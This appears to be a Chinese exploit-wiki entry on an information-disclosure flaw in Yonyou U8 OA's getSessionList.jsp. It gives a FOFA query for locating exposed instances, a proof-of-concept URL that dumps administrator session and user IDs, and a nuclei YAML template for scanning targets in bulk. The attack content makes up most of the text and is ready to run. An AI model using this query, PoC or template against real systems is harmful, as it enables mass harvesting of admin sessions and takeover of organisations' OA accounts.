用友U8 OA getSessionList.jsp 敏感信息泄漏漏洞

漏洞描述

用友 U8 OA getSessionList.jsp文件，通过漏洞攻击者可以获取数据库中管理员的账户信息

漏洞影响

用友 U8 OA

漏洞复现

fofa语法：title="用友U8-OA"
登录页面如下：

验证POC

/yyoa/ext/https/getSessionList.jsp?cmd=getAll

nuclei批量yaml文件

id: yonyou_U8_OA_getSessionList_uid


info:
  name: yonyou_U8_OA_getSessionList_uid
  author: mczilong
  severity: critical
  tags: yonyou，oa,bjxsec
  description: fofa "用友U8-OA"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20getSessionList.jsp%20%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.html
  
requests:
  - method: GET
    path:
      - "{{BaseURL}}/yyoa/ext/https/getSessionList.jsp?cmd=getAll"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "<usrID>"
          - "<sessionID>"
          - "<SessionList>"